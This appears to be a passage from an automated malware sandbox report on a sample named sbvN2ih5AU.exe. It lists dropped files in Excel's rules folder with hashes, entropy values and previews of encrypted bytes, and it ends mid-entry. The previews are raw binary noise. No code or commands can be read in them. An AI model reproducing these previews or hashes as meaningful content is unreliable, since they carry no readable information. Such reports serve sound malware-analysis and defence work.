s\|..t.X..w..N.J..vE..WFub..........3...Z.(.J.m..O........JO0.\|<...V..2...Q&.d...C.2R.._Gw..M..w.....A.....3......>.Es+.+:..[.g...9....P..D.#...p.!i...\|.)...j^..V.......!E!~.\|W.o.q..T.5...t...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500002v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.8243133331091705
Encrypted:	false
SSDEEP:	24:tUCBl3vp3Z06bdGAhD0WUvaOjkfYWxD7cWWJu2bD:dn3vpNJpcFjRQmVD
MD5:	4D11FEC8DC56EA7925F1B5EE4EDB33DB
SHA1:	C4C67DB65374047B8FC246085B56514E26BD0ADA
SHA-256:	DDD0742DC9B00E40A669B5B0C663C5D0BC46BB025207E84D6EB20178E387BA15
SHA-512:	1422B776A86F9604E77EF8671636A3025BB76925FCA4CFA29360EF78E19ACD1CD4FFBFFD4CFC4CF5C70655CE79DA5A690944C46702B3017E811C6148DED92D45
Malicious:	false
Preview:	<?xml..)..,........4d.....C.c&...d.t[.6.....c.Ri...........NA.3R#..,D`4f..CS-.%i!....tF..N...>.!.s......C..Ax.."...+..X.(>..=.6..(.....?M._.sq...'#B.tVL..N5..V..........lu.....D...(c.....I$.P.(...>.........C...+E.7G..h.p.j.v9d.b%..U..G..`..%3.:_.V+U.d1.u..0S...s.<+i.F{.....W@t.7...$..W..Mr.XN"...$...?5.'..2U....kV=.........ai....k...FI........(...a.x.W...R..!.0uR\;T.D...[h..R.e.7J.7......p.8.....;....U?..K3.(._..].Wa....j.{.>...fN.....I...R..{..RH.WFC.4.J.`.t..]......P.....].$:..v..T.......g...pL........s.U].........Y.&..."....."...w.W.iu..[W..X.0`...0..S....S.g.d....Oc...L....Pr.v".iT..#8"x..sP.j.H..\..[v...F...uQ.]...c."..,>G....\.5...&..b.[5....\.o.h*j.....R....!..C..@`;1....-..t\\|H.......5.LEo.../...M.cY.xtO[..~...T:.a.H..^3.-....._..T.}.zQB..vNpCOO.Zu.x.@.%.D..G.....zlr]..<V.o%....:T.v#/.b......J}'8=._..Y...eP.....[o.j...;.v./...K.8D}...8..$...c..z.i."D4....,k...gD..'....w.<!.rj,.NvX0.../..d.&...7-.?.........J./.I..V...\|.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500003v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.819839405208524
Encrypted:	false
SSDEEP:	24:44GlLJLE6ERUwgGxNeuhwKlSh0u9SO2KWqDU5vGdDJJ/Vt5qclne+2bD:MLtEPU4DN64YN9UYjRVt5tnelD
MD5:	A4DF6BA41C328161380E7E96250128A0
SHA1:	26B9B08C8AAEABCAF96A452CACF3FCEFD2329C8B
SHA-256:	884CCA89D54F1338142357F975B84C9502E2BE870A55976F580811CFB758AC52
SHA-512:	412CF483D9BDE173F2A37C42AAE26291534D1F89C3F24A529349E4BDD32D79470660388825B0E3D62D7E79DEC5981EF595921CBB25C36C4A623E3A36BDEBFC24
Malicious:	false
Preview:	<?xmlE].u.f.....W...m.%"$t.a.#...}.r<...^....B...."G63gw..%...]..:.<:ano[.....=.$Ue0.?...l.].gp...{2.m-h..k.C.4....h..<.e+...{C&.4....r``.......[..}.AUE@tST.ub.x.F.g.h6.pK_A:.....~.W.e..#."..<......3.......%...6...s8.H..v..1..W.g}D.../.p.6....E.8.... `i.I.IX"...u{x.\|....X.....:^..ikz..n...!h'.!G..1...}....N1E.Th..Z.g=../.....~.w.TM.eO...P..[...2..* .>L.o..Xs..l.X.....[..&..O..heb......2..}v...\|.G......$.Z..#s....V.a.@...-r..1S.....Z.......q?.m.X...l..qeY.. l..%..@.....e#h\,4.....%P?i.+%C.0.QO.J{+.....;.R\.f...4Z0.v.;.V...(...p..L....n+.+.F.D..2.C...?2...Q/u.,..O.1....V}.+.%...{8(i.I..v].V.p.......,..{...x.d....C..ltE..$...`....m.......F.......K._..^.W..O.&Hq......B...#iS...`.y.b...:.t..=j"l.`...1..S...... .ld......h.....}F..{..u.[......_A....O...8.......!].......o'H........j.}..p+........_..m.^.N...,..~.e..T.. .....H.o.2{{.]...E.~Q..E?&.....4c&.f.4G.7.O..4...Jh.2...\|...S....8.<Y........ktl.C../~.'......7.....o.)..X]I55.....{.O-....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500004v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.827453799429799
Encrypted:	false
SSDEEP:	24:XtA/pSUd7y8taEEFRpqLJqFRcESM+pAoWXDJDHLDr2bD:GBL7T5LcHcE5+CoWT1cD
MD5:	58F110C500286C2FB1CEDCF681CD2B56
SHA1:	0B12CACF216B2944E731FED40A684729ED67242A
SHA-256:	B440A12B0C5B65AC063D79587CC839DD95EA1858CB03EBB037FED98A107C9E04
SHA-512:	221CB3E5EDE7E723830B0FD4E6989DB6E7E36C7150B167F26DF7B793F2DAE33CE0BE8FC0DC7D145FD0E55A2D77072F195C728B0AE6991E593C0331F59CC1BADF
Malicious:	false
Preview:	<?xmlBv..7k.g.s0.#..R...g.}.U,M...._5..v5.&.'.2.....!L.C.G":.Auo1...xC.S........I.s.r5.f!.3.Bg.!.E.'.a.i..7...m...p...t.<.m.>.#..{.G.........S........C..{.d....P...........zbf....5.6.....4.....X[.t...... ...%U...^...`.zJ.b...\|`..X.A..]3.30..........$...o..h6..JA.j6.........."...,.....LCO...d;.D>!.g.L!...H..."....-.j.....f..!3.t...JE.)q.!.Ke.2E..!.R.................p......I....R.\|...ZxH....\|.....y..I.....([..:.}....u..D..'..5i.g.c....M"Vu...../R%H{d..{4.....m.G.l..`...O.Y.N..q....... [.....3>..<.>.h.....^.3.HK".2d.....JA.."....&.`X..I...........0c'.T..$ .(.b.V..L..P....U..2J....4e..m..w)!5.;.xI....{<>.".'...n._yOF..u..h.v.....0-)...............B^..<O._U../..... ..6Q..I.....ar..........tj.V.=.j.........j='...L.te....4.....y8L.._;.'-k..,z......>.q5..)...O.gNe..~{vE.....(0..0..M..G.%..D....)..S..2...0. ......k..^.g......2....q....H.'f..,....Xg,.b..u4..@........h......9..e...QY-~NR1.v.3.........<>..."k.4.x.lZu;.I..._...{.I......A#..V8.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500005v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	7.804582184280485
Encrypted:	false
SSDEEP:	24:9L0V6N7H+T4WMbdLs1fM91xIcJqZOavFRgBfV+2bD:9L0V6N7H+T4FdLs1fMBkZHc/D
MD5:	83D5AB882935BDC36C50AEBDEA29093A
SHA1:	ECA8A6AB0A5B60ABD796BFD6E4158CD5A699ADBB
SHA-256:	0FF30555451F4969FC0366401958FA074308D5BCF3B7A9F6E2F89C23B88D86D0
SHA-512:	E606AD6124EDA60BFEFD2F29FC894055BA6FC5BA6EF3D9FC3A88E1BF92082D933B4569D6C9C6DE18730D83D5322BA9F159DAD924C5C9FEB6DB3F6DB0F05CCA86
Malicious:	false
Preview:	<?xml.....;...\|..3........).6.l.....i.c...N.".......`..:9a ../..I%,. ......33N..........m.\|.z+[..R?.m....o.d.....\..h.Z...........dY....6F..h.......l......._.......3\..pK2..f.1Q.fN.B.TWr.M..5.x.......x...4[;2......sLow....N#...v/...c...W..........2.J...[wP.~.....w].,...S..-.....jN3..s=.\..x....s.u...L...b.:3R(.r...7...v.m...z.%A...#...v..uO..E.H.8....5bd.Sk.Hkwbn...t..h.._...J.....q)K.\[W...M. HR...T.jmr..w..w...+^.......f.M.W.2.C.7.qG.N.,uG~.....8.UD.Wa.E...W.....x....(...4.......NK..QM..>O.....w....h..l.0...@xu..rX.$...?....j[.\.8._r.MLD+....kb.S.J^..I..}Vg.Aw._...m.6.^_....j...N]...0i...&............L...=...aISa..y.......\..p......D.G.,...i..ghFl....>)...I.f.WM.D..*.f.......aKDT.........J..Dr33.I.].....T.....B.D...I....-...J..r..j..$Y..yj."..=.....-.r6/..!u........o.4..B....SF..f..T..`.y8.C...]..J......uI~k..>.)y.x...7T........`.B..KkU%.r...s8%M.~mx...B..A.R......p.dV..k..d.z.bE..{.^`.5].hi.)....mhPj...n@5..=.].:.nh:..cb....}.KT.I..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500006v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	7.718834669507476
Encrypted:	false
SSDEEP:	24:oWUMYxOzb7wwWkgl1LyV91CqHMsAfCHvI2bD:vdb7wwq1LIceO6P7D
MD5:	C684F4CAE72910EC18516C463DF80C2A
SHA1:	22539435A938F9C9F13178826193AD52AEB9C1E1
SHA-256:	3017399BD135D90BB23C5475EA94CE59A751DE058CF2210BB9A151AD6FC4A85F
SHA-512:	56DD25F0B30D398AA2D6907F64414746DA730196F035B199B12BCB775B009B63E4B2F39F23F3CA661312B0A173EB611C8650610FBA79AB7034C8E1DCDC54A56B
Malicious:	false
Preview:	<?xmlU.0P/.n..m..;..........QL^n\|!...W..7....V.cb.C]>...`.G4.Ye..'.1d.&.......Z.......\.\K....0................l..g.a.)}'u.g."..\~....g!...hl........}c.'.....L.\|....P.3E.p.l9l.J.^f...2....5,...}..%.g.P.>.c.j.O25.;f...Hr..2.....\|..\px...pk....\.&.H..eT...A.m87.J1.Z..2)^...N3....L..\|..9c../k..LV..K.b#\\.Q....".HDL...Yx....B.'.;.90.I...#m.......s..3-6.jF.....xW..A.GA.6(.Yd.Ki.+.'O.3 q.0Gi..^.......2.Ks.\u....q.......+....M.:..../3........X6(..b...'.>W.<.@.A.4."...d...S\..\|n.!b....2.j".+Z`1..2....4...AI.....RJ..y.A.....1B.-..c.....l.T...C..J.......+;,..4..S....u#.T..@...Z...8..s.Z_.er@D......bC'.@...g$`.G3j.w./.e>...v.su....4...h....!N'#8..,..;.....6{..p.df.ibl.B;iF.7$;s&.:..c....L....7..Hi...(.+..QxN.?.XEUC[....ao.h$.X...KV.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500007v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	767
Entropy (8bit):	7.713603982729773
Encrypted:	false
SSDEEP:	12:VU1d0ZEpACG+KARol7uGhd0ta7Gvx9ybI+iNLOK9TjseygsPoG6Uy2N5SUdNciik:VU1dEB1AR2q2d004xoaL/Ee7aoiy2NMw
MD5:	051BB0FDEA416530CF8F692FF0B5045C
SHA1:	9558FDBEF097D9A495049627C0A5DBFFAFF6D4CE
SHA-256:	A0672EE17B836D9C55CC9BDD1136D38B600EC6C0086EC41ADD2130FD341DC878
SHA-512:	2E90D54FEA426B1729DB465C6FC59CB1D76A7521A7381B0A854028C2330572952BEF2238A7C05C618E4BA3D55FD916697E463C599AFB6E163FC25C6BDE8A57C4
Malicious:	false
Preview:	<?xml.2.Lq....[...]..5..^..C.\v..v#............wQ..}...B.,J\|.....R.....Ea..Y..=.X.Q.b......+x#..g...4o.&.....3../iL8.3...m..#\|.I%....K.Q...%..a...m..T.i.F..0...l]F%o....N..gn..Po#.Ew/{g.\oX.....j;........q.)\{.=..B.........Js@.d...2Xs. ..P...:4.P.g......0h7...m ._...X..(I.0@.gr2..h..<........h.9\|....XX..Nl.8....~.J...S`..X.VO,.....Rm...X...D...j...V...H.D.11....=.o.....>m.^t1$....=C...3.y...NW.@.:V........d...9...x.C..\e..x..F. .....w.>m.w.Y..z?k@..>.n0m...`...u...$......</..Hs...tK..T/...........m.H.....D...L.t]N..I.......yD...Wa. .....FM.HN.....WuW.........C/....h.....Le.t.uc..m<..95J}}.+{...;>B>..c.A....Xi....)T5...F....6..*.........9.:.....[.i.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500008v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	845
Entropy (8bit):	7.697922826484718
Encrypted:	false
SSDEEP:	24:QBg+zOQiJxWyKm2+rfEDovlpnCI3Fg3vOQhAC0FNa7cr2bD:QBpz78Hx2IfEDinCI3y/OQ94a7ZD
MD5:	5362A763ACD56AB806499AF871D45CB0
SHA1:	4DEE4CCD835299F87CEAA71D42CEAB98542DDD61
SHA-256:	1D936EBEFA54CF85759C4ACD947D6048EE972F77FD931DAFFBFC158762F2678A
SHA-512:	96CF59FD791B8B804C0F8BFB9DFA0D2A06DA5CA5B27733046477885C0F00859DBEBFF53B5138A16C43CF3D5C9E25FABF84E074EFD6BE59DC751987CA7BFAD612
Malicious:	false
Preview:	<?xml-.I......+......'.{\.B..M9D.7Kd...g.R.O..P..n[sM1...-.4.Qq.U/.D..S....j8\|..;....u.r..z.j..1X.Px)...F..n......jyf..o..p-P.e.=:..D...[....QT.k.=M.d..M.g..._%..+.-.....MrW...S.......f@I8.6".^.C..)...n....+..$\|xN. a~r..w..ObHS.6.M...4.'.my....Q.1..B.1..r...c)e...I..~.t..G......\|A.Jw'2.+.Z]B..M........4.s...".3.s....}..]....brW.i....~.`Wq.;1iE.'.p...E.r.... .....9F. Rg.!...j....".}-..!.....S..szm...n0]d?....A$..P..................<....V...(....t/.8.[...}~....K1,.N.%m.<.D.x.....Ro.a...240{.#g.....P......>...<....b......^..wv..H-K..8F..9\|n..o./.qd..U....J......}.F.k'^.s..Qbq.'WA~#...ut")O...-Q.........N...R....CA......05..`..2.m.).....nw....>,.)=0.\I.)5.zB..F`..f\|{...!W.3D..\..J...aL..)..].=..[.G.>..u[.&.......Y.X..y{...@4.....fmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500009v4.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	7.841027702405032
Encrypted:	false
SSDEEP:	24:uE1echgmWupW+wDy83UJYHyPKXPZnj1/LPVm+lT8ns4sfzg3cSJG2bD:uTWgXupWw8MYnZnpNCvsfs1D
MD5:	C9BA9B694FCE8EA3E6F5608A5C8F5850
SHA1:	EAD53666BC57ACAEEC5885EB610CE9F2DE67361D
SHA-256:	E4956DBF460E5954577D933D7B33E053151F8A1591C96FF8BDA22811E3DBD53B
SHA-512:	17D58B8077CC63DFC34D15CE0C3661B6B54D2777E9A4AD1CC7398A9173DBD06E21E35B1E333177BC7E83CC0C681F646E4AA50FF1219D6FE2056C6AF88784B694
Malicious:	false
Preview:	<?xml`U.N........og.j.....[R~..i;..q....F..C.(...Y....p......w{.A........@...TN.X.f.o.}.1.O..^..Q..,.k..\.....G.....o..w..-6..........VRN...Un..!d...B.......v...7x&E.A..` B0.Om...~Y..._E._......JD.a;.B..5...F..r.g.4..g!.U.A.n.R...]..Jz<.....\|a$.J........./].!EM.f../..I..7.l..eO3...Vb..m.[..._...B}O...>..i1s....U. $ R..$s.....pJ...R[.Y..O.....;./..r.h&.......S..BE..f.u...... B..>......w/..\..w.Q.$K..=.:..../baa"`~...p......r_.?\|W.`2."J.H...R.].b..\...&.........>..%.........].....;&......Z^...#.E..d..j...z)..8v.k\...;\.B.....t.......t$.&.Y..J(.f...Q..+....B.>...I".....[z.._...s....-..z...?.......V...l7i.RT..`E.i]........k.G..E.'Y...~.a....:D....~q.U.......zl:...[~j....z..`...-...PZ...KU(..6.K.v#.S..=V..).y.).q{P.9.Z.....O.~=$....3.(#.G.1....6A......U.:....F%c>^C.......'.J5.U......].f......z..dm=.Z...."3v>.8=.[q.....h!..6...........2F.f..H..4xw2......(...$..}.;i....*.ez]....@.....3..TT......2G8..(.\...p.....x...erk...e.f..RU+t..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500022v4.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.794777859713008
Encrypted:	false
SSDEEP:	24:22ngNRaRQQrpiAWP9j+2K+qSKq/HWnDghM/nKo2bD:22qRaWupnWPZ+2K1SKqvikhFD
MD5:	A35DF9EA1D622CA6A4DB2A4DA15B4DB8
SHA1:	30B5C173ADB7BC8FD0651281346EAD2A1FB0C31E
SHA-256:	30FB2F9D12FD7CEF7502AFEBA0579954372EC5B9F8D1CCAC92B7DD844BC56412
SHA-512:	BE26A38C8B61F5D52734378577D85C54DD780B47FD42FC93AA7D1C0D5EBEE658F930AFDB93114C8B45044C2313ACFA42386696FA0E90617975795858430EEC48
Malicious:	false
Preview:	<?xml.,.].\|.^^..`/Y..x....g..~.z.3DHl_p..>.aU.0..W.v......{...KL$...&.0...\|..l..j;..X.N...hU..)R...F.X.Z.....0........p..j...n..v........U=..a].t...E.Q..............\|c.).}.......36+..&7.y...R.0..W.y.+;.H..1%.@b.\..CZ..$.6a.).\|+.....W2tD.............G....8....-. .........]..L]...."...0.+..H."7Hs...7....B....h..]..........R..!...0e./.m.k...Sl.S.V.:...l....\|....`...f....H........<.d.M..f;.~.P.S..w\|...Q..h..*%.?.\c.QD..Z..j. ..{...%../.Z=$i.L..C...W.U0...-...D...6../..G.....W.bu..GHh.b.9..0.1.p...<...;.EL...ro$..Dl>.>X.^.,....,d.~g8'.....&..9v...../.^..o....I.....W.q..l.N..,....x...M.\..X$W[.}.............nxxU....sJle^......%X...a./g.;x.B...c3<~#DQ....$."._..+..Y..\p.."..Y.m...S........u#O....Ogf..q.6.... ....pU.....l.T..a..?g.A...J...%V...:.w...Q..ty.....i...M...d..k;.......%.z....'..T.h.... ..../mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500023v4.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	969
Entropy (8bit):	7.81274325915385
Encrypted:	false
SSDEEP:	24:uSl1nA0PAeLqHrj6a+KtUVYYaZ9uAMFF1huyIw2bD:P1dAeyrugUVaP9uFKyIjD
MD5:	DFFC439E92B2353EA23434C2E6987731
SHA1:	D001F2A972ECAE8EF02698FAF177EE6997B70052
SHA-256:	5842A3A990DD248AC0BD6C5112D76FD0656A1219A371F324CE457C6FCD9568B6
SHA-512:	8BE142BE6D3B27F9F8CB929231100D46601D448556DDB7B45CDAD3914F33B5F69744944CAB763497FFAF4EA90081E4BB5DD921A9AAAC9D788EC1015FE0B0089C
Malicious:	false
Preview:	<?xmlN.7.\|@...... .....f..9\|n.B..hU..2_%...j.`.?.+.hE.a.z.....UA.n...n..u.T. ..&..hCU.P.......u^..Q....c.O.x..].J.S....]Ey.Lkg.<......v.R..q.N91..b.A^1T....5....h...k...Q."q.~.)./..V.....1F..\.&.H../.D.V.NY..X.L.$;...."aoc..+.@..f.{I ..g[.=B...}...u.k4u..5v..EQ.?8?:.]....I<q.+:....M(..d[.H.%_..2..fG.:...Xa.....m=e.y........9U.,.R..oN.[..R.)E..w..-N%..>l. #...n.'.....N.qA...t..\-.:......wX~....;S.r..mF,...I...#..0eg9ki.3a.{.>..4.g.&..& 9.J...)*...q.).P.`..]...M}g..y.../d..L..D...Z...s.._)m3...,.......!...=..x#...b>.`.........+......ME.J..vNt..J8.....1X.p:d.AS.......3...k....&...t.1.,T..RE..S\.L.}..i.,8...J.3..S~.wgWB..8.3.i..tE..YK9..h..l..Pg.<c...m...N.J_W.T..5+j.O..L.......>..RW..\|........9.S..0....^.e.m..{...982.....&Y..Z.7..~...f...........`..Ajsr....ml...M@d..R.tY.2A..X9.}#9..e}.^......{.,...2.Jdw=...~.......rX@mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500024v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1467
Entropy (8bit):	7.868511758528851
Encrypted:	false
SSDEEP:	24:UxBzj87dWGSFge0I55W7k1Z/IRruK9nqtHAFHx55l/RVRyPP9SMCybQRnh2bD:UxBzj875SFgM5Wgn/k9AHgHTHpVRH4D
MD5:	190F5C79578813FE9916F3B2D8148557
SHA1:	6DC7172396572933C51AE1ED3365B34A53DF629F
SHA-256:	B6DF2801CC7487174777102FC91ED0C489D5B7C8C9A0A48B62672F3CDC6B6090
SHA-512:	7447514F5D1C3E2AE6C61E7FD185BCFDB6CDD45F2357397B1D497873377699350A1CAD07CE9A793F5AB3D14C3DEDB0AEC8FD6F95050A5DB85BC80F224948C444
Malicious:	false
Preview:	<?xmlb.......;....+./q.\f{"M..OT-.P4<..Hl....c.r.].......W...2.....!....$.....^.CyP.;U...'dK#%=....j.._Y..M.I....=.P$.w.{..,us. .k!..J?..a+.N}..><.n+.N.T{..>.:..9...5A..c_?../..IP2...jL.0..Nn...4.u&..d.Y.Zv.qn.k.U......\|5.o..Q...{d.........N.[..b..v..o2T'.$"..E.w.)G...Q.....@....),xMdrJ..&..c.2......,7=..u.u.(F....t.i..".w..C:..ei.G/.L....5.+N..}.Q.RT9\|3.f)..V,.......x........o...w.....U0+>.o....t.M....:_....n.....<...&.[..Q...>...i?......7.cS.....p..h..x.SL.q.Y...aq.N..OCZ]<.....Bf.Sy.#.Q...W....}Z.t...X.j...2....=.....8R..!3...\|....S_.....^.....=n@.......D(..\..1.m..I..V...=.k_0.v.Y.z1..P.1y@....u..%..<.S...S.Rk,....%&.i.yoE....U.6.&..tR.NL0.#0..K.)'..5..b.?1.........M...`?No...).Q..<.@.C....6....j..PJ.....g.....\.].O....lB7Z.....A.5...!7...[.....7...B;..c..z..}....qy....e....[......r..j.M.....6.X..q?..0.x5.i.h4.......q....+.u...1..0.......b..O..0..I..(... .~.9$...n..U......F5$.1.....U.'j.$......@..n.D...._9.W....'.$.H..n.z..hM..Zs..U7.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510000v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1397
Entropy (8bit):	7.849659490407578
Encrypted:	false
SSDEEP:	24:eXtVohPJIL3T8H/98Xkb+MghawTsUmf6+5zx5binWJxUQSp2bD:eH86wHKXkbMTsUmf6Odwa+CD
MD5:	2186EF224B8E12BE2622E7E6E3DC2F4D
SHA1:	FFA953EA6DC8EA89F13CCB490607D0B049D47921
SHA-256:	30F093FB82AB55131BA138684745644BF6684B2FF1B58BAF7890D8DCB3A6BF86
SHA-512:	9A5B6671C491EF75DF3B6C2618CF080B777BDFCE75B460B28FD64E3DCEF9D60DCA00E3DB51B93A8FDA9ED8457706E3D67D7FC83F46C4D615CA49A8A3BC6D6B36
Malicious:	false
Preview:	<?xml....$.&.H.9..R.....'(.`..B;..m[..Q...o..~.C....5.[............}.s..i(m?^.vE-Ut..P..SX.eW!.q......p...9.i.....c.....~.}.n .....S.#./+....Z.....:$..Y..Z.8.VpJW.C#..Q..%.........g5.....Q8No...L..j.g7..r.r...T.=.`z+..O.......!..zt...Uu.......n.Tt. ........aw......%6..U.X.34..x!v`9...t,.b+.4....W..xo.v6..7.f....2...p.ntO3i....s.&c.T6.uRQ`.B.4..x.r=.@....H......0`_.......]...02d..S%Z. ^C..?.....-^.4l$..[...iT.\.[.c..;Y........t.a.'\|T.Dn.......E.T.B.?a....^...i...>.b..,.w........'...b.".H..K.. ..Pj..\|7xn.....^f%..."W.....].x..T.....%....[..$...:y.vG...e..L.6/.~~..?.y)...zs ..AS.\|HI-.o8.I....f...+..........b..}..9.?..7r....h.F.t......@vp....`ky....0..[....@...mK..H;t.c..4-....4%......7.....5...D....+.&q.&....)...:..w...A1}..q..]pfZ.L.....U.w...]@/1....v^.!.T.....e..e.../.z.lp.];..e...).....x;.e9X.....G.......".12....oP4.p.....q..w..^.LI..x.(f..<......J..b..V.iq\|3[.;.3.1.b0.Rh.H..:...R....Y.c...o.y.y.Av......<0...9....Ob.$z..u...[Vig..i.]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510005v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.848918305181102
Encrypted:	false
SSDEEP:	24:e0nB5+znC9goQliTJnA8GZnzyRx5pdmJRvLALnkCvue2bD:d+znC9gosinrGZz6AJdKkCvOD
MD5:	49F81C0CC8B9D5CA73F95C4273BEBF09
SHA1:	9A415D28C06198CEDD1437CB1A429C869F90221F
SHA-256:	AECDA71AE6F73F30FB6BE62BE91AE130173F7CA77A1871BACF62DD6D450CF998
SHA-512:	C0BB63488D8C2FFE472FBACECFF903F9088F920B9FFAA30E2D3FE1BB36C811ADF9A09956400AAFF11C9C7BEA910298B509315450271878691CB852B358AE5E9C
Malicious:	false
Preview:	<?xml,..$..zi.0\|>.....]...r..\|.......t..D..L....... .uW9v6...7g.F].P8.k...8......{.G..3H.Hh$.;ZC......h.C.3.b.AX.;:\5..........A.......H.:{.}......H.?...l....w..q.=S1......C#v..k..{.s...".S...=X....S....w...M..<...#_..=..ZR.S..L_........3....;..=.<..HuW_...fH.<....SUw.Uc{.."..[.a.".%.-V....P9..lC]....y..<x.2..3p.T.c...}P.6W....3\.U._....P.[........ .5.......;d..........9.!(p.\|.No.V..=..=(s..;U...A[..9..sjg..r...]..N..`.G.Mz....Y......eBA...Q3.Lh...0..[.C.........L.0.X.5...s.....b2>......tC$..q.4..oN.L...3\|..3.n.k..A.?.C.A.2..Y...]..U.....B.Sc^j..;.... _~...d..v..%..d=?..T`.....L.~."........0m..._j.......#..oc........z.1T.....r...K..t..G.q8..........{....u.`m....y..YX....Ou.9y..+..k...N.....j...&p..WMO.^.6...%@hY.x_.Y..U.....Gm.mst...U.$...RC.Y\.`~....\|..[.........0..Hi.o\{...,.(S.Y....1{...(C.>.....a.v0.V..P.........d.JV.b.*U.g..x..GJ........iM.\|.._.?..9...Sg..r..eL.}..M..3.kH.l.o...C....#u..z......1...."k..Q..p...v..a$...<.y..6~Y Q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510006v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1088
Entropy (8bit):	7.835272826178083
Encrypted:	false
SSDEEP:	24:Y+O4+IEMrFmYsJ3vow1ym7gmzctnOGWXXsPsF5a3Qj7r2bD:YJ9SFmn3/1NsmzAOVy38cD
MD5:	1E45475723CAA036222E1D3B64371E2C
SHA1:	A840FA32706023E57448434A094670D319127247
SHA-256:	A7B15AC510BFB065CED91DFCA6A5CB34A06CB45D16DEEF818907350327EC32FC
SHA-512:	6E7A5071F4C0E7C272AB5431D9D8CCE84A81014F36F2840373879A26830A55B89E1A192C3BB7AA20B33455EE1D7489F58B9A5AF6955E149941B13C01FF5A3174
Malicious:	false
Preview:	<?xmla..BF.#Cjn.u<..;.U\|.a[.6...~.1..@.N..Tn].d....)..wR.q.'....f!...Bw.&...%..Qb......Um...1.!.$.....9.C....c.G`.B.B;.d..t.c..N..lS..>/...YJ........C....]..b....i.XK..a..xw5l[%{] .>q..y...p.^...<.C..&.>0..&.....z5...0.z.#;..\|..._...k~.A..G..u...S.~.....,...!.......'We.6.~..q_[.8..X....:\...b=...........c...i...CV.I..]N!X....BK:..)......3[.^gc..3.(@..@~.Z.A.b...DW..!^C.k....cja.L.#.N..F<.......>..R%Q...."........: .f.7..5..D..~.W......R......$.9...9..%......6.iF.Z&<..,-f.N...z.....[twF..P_...P!.....}.E....l...d.Yk.s..S....!....._"U.Ng...G.=.V....G..9y...,.b.%M8.....4Lm...U8...I.aER...P..8.Z..0[Nw.M!\..3...cd.........7....'7...aP+e..25_.0.H T.ZU.\|...Q....m..f.>...A..`h4.9.{.....F.....K...&..F.}x.p......;2....e...a...a2...cw..z.I.k.S.8r..0b.]>".<..\...a.rR.._-}.0oo../......o....KH.u\.x.q,....T._ e.j.e,...7"..?.=.(;...i..Y.@..T>#.g..k.5.b.._>.......=....K .$..'.....\..C.V.We..w..#..O..3./....AJ5....B.PA.n....W^\|....Krm.w.q.:Qg.....G..]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510008v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1100
Entropy (8bit):	7.840476107612938
Encrypted:	false
SSDEEP:	24:bteagWPZO+QpnCT2Eka4tQ4YTqGsKzAPgwpk7YbrM07pAAPOtP2bD:JeagWw3CT2EkUTqG18PLpkarMOpA7sD
MD5:	5A8469451D31A9FC9FC4351E3A84C60B
